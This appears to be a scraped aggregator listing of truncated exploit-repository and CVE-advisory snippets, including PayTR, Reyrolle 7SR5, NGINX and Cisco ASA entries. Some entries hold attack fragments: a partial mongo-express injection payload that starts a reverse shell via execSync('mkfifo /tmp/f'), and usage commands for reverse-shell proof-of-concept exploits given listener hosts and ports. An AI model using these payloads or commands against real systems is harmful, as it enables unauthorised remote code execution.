CVE-2022-39986-RaspAP-2.8.0-2.8.7-RCE

RaspAP Hunter RaspAP Hunter 是一个 Bash 脚本，用于扫描 RaspAP 安装并测试特定漏洞 CVE-2022-39986。 root@kitploit: / \ / | / \ / // // // // \ / /| | / // / / , // // / / // // | / / // || ,//// ./// ||// // author: mind2hex / / / / / / / // // / / // \ / // \ / / / // // // / / // / / // / // // ,/// // / ///...

CVE-2026-16037

Observable timing discrepancy vulnerability in PayTR Payment and Electronic Money Institution Inc. PayTR Virtual Pos iFrame API v9x WHMCS Module allows Black Box Reverse Engineering. This issue affects PayTR Virtual Pos iFrame API v9x WHMCS Module: from v9.0.0 before v9.0.3...

CVE-2019-10758

CVE-2019-10758 mongo-express remote code execution, reverse shell code as follows: POST BODY 1: document=this.constructor.constructor"return process".mainModule.require"childprocess".execSync"mkfifo /tmp/f" POST BODY 2: document=this.constructor.constructor"return...

cve-2017-2824-reverse-shell

Este repositorio no tiene un README...

CVE-2020-0688

CVE-2020-0688 Exploit PoC funcional CVE-2020-0688 - Reverse Bind Shell Probado con Python2.7 Para instalar: pip install -r requirements.txt Para ejecutar: python CVE-2020-0688-POC.py 10.16.1.24 -lhost 10.1.1.1 -lport 4444...

React2Shell_Exploit

React2ShellExploit CVE-2025-55182 He creado un exploit simple en Python para react2shell CVE-2025-55182 USO 1. Guarda el script: Guarda el código anterior como exploit.py. 2. Actualiza los hosts: Asegúrate de que reactor.htb se resuelva a la IP objetivo en tu archivo /etc/hosts. echo " reactor.ht...

CVE-2026-16037 Callback Authentication Bypass via Timing Attack in PayTR's PayTR Virtual Pos iFrame API (v9x) WHMCS Module

Observable timing discrepancy vulnerability in PayTR Payment and Electronic Money Institution Inc. PayTR Virtual Pos iFrame API v9x WHMCS Module allows Black Box Reverse Engineering. This issue affects PayTR Virtual Pos iFrame API v9x WHMCS Module: from v9.0.0 before v9.0.3...

EUVD-2026-72853

Observable timing discrepancy vulnerability in PayTR Payment and Electronic Money Institution Inc. PayTR Virtual Pos iFrame API v9x WHMCS Module allows Black Box Reverse Engineering. This issue affects PayTR Virtual Pos iFrame API v9x WHMCS Module: from v9.0.0 before v9.0.3...

CVE-2026-16037

CVE-2026-16037 is an observable timing discrepancy in the PayTR Virtual Pos iFrame API (v9x) WHMCS Module (versions v9.0.0 through before v9.0.3) that allows a callback authentication bypass via timing attack , enabling black box reverse engineering . The CNA-assigned CVSS 3.1 score is 7.5 (HIGH)...

IIITA-IoT-Security-Research

IIIT Allahabad – IoT Security Research Internship Overview This repository showcases the work carried out during my Research Internship at the Indian Institute of Information Technology, Allahabad IIIT Allahabad under the Cryptography and Network Security CNS Lab. During this internship, I worked...

CVE-LiteLLM

cve-id ⚡ Uso simple Utiliza este proyecto solo en entornos seguros y autorizados, como: Máquinas virtuales locales Contenedores Docker Entornos de laboratorio aislados Entornos de pruebas de penetración autorizados Ejemplo de configuración: root@kitploit: git clone cd Project use python follow...

ASM-Obfuscator

ASM-Obfuscator Advanced x86-64 assembly obfuscator. Description The Assembly Code Obfuscator is a powerful and versatile tool designed to enhance the security of your x86-64 assembly code. It shields your projects from reverse engineering and analysis by employing a wide range of obfuscation...

CVE-2021-21425-RCE

this is my version i found a lot in internet but those are too bad USAGE root@kitploit: python3 exploit.py -u http://IP/grav-admin/ --lhost YOUR TUN0 IP --lport 4444 wait.. for 60sec you will get shell at your listener...

CVE-2026-42945-Reverse-Shell-POC

CVE-2026-42945 NGINX Rift PoC de RCE con Reverse Shell Prueba de concepto de ejecución remota de código para CVE-2026-42945 , un desbordamiento de búfer en el heap del módulo ngxhttprewritemodule de NGINX. Este fork extiende el PoC público de activación con un listener de reverse shell integrado ...

CVE-2026-62652

A vulnerability has been identified in Reyrolle 7SR5 All versions V2.70. The device firmware contains binaries from which debugging symbols have not been removed. This could allow an unauthenticated attacker with access to the publicly available firmware update files to more easily reverse engine...

CVE-2026-3300

CVE-2026-3300 - Wordpress ⚡ Uso Simple Usa este proyecto solo en entornos seguros y autorizados, como: Máquinas virtuales locales Contenedores Docker Configuraciones de laboratorio aisladas Entornos de pruebas de penetración autorizados Configuración de ejemplo: root@kitploit: git clone cd Projec...

EUVD-2026-72666

A vulnerability has been identified in Reyrolle 7SR5 All versions V2.70. The device firmware contains binaries from which debugging symbols have not been removed. This could allow an unauthenticated attacker with access to the publicly available firmware update files to more easily reverse engine...

CVE-2026-62652

A vulnerability has been identified in Reyrolle 7SR5 All versions V2.70. The device firmware contains binaries from which debugging symbols have not been removed. This could allow an unauthenticated attacker with access to the publicly available firmware update files to more easily reverse engine...

CVE-2026-62652

Reyrolle 7SR5 (all versions below V2.70 ) ships firmware binaries with debugging symbols that were not stripped before distribution. Because the firmware update files are publicly available , an unauthenticated remote attacker can leverage the symbols to more easily reverse-engineer the firmware ...

Cisco-ASA-vulnerability-research

LINAFULLRE — Full-Coverage Reverse Engineering of lina Created: 2026-08-12 Target: labasav9-12-4-67/lina ASAv 9.12467, ELF x86-64, PIE; Ghidra image base 0x100000; 112,687 functions , 167 MB mapped, 642,707 symbols Track goal: systematic, complete RE coverage of the lina binary — complementing th...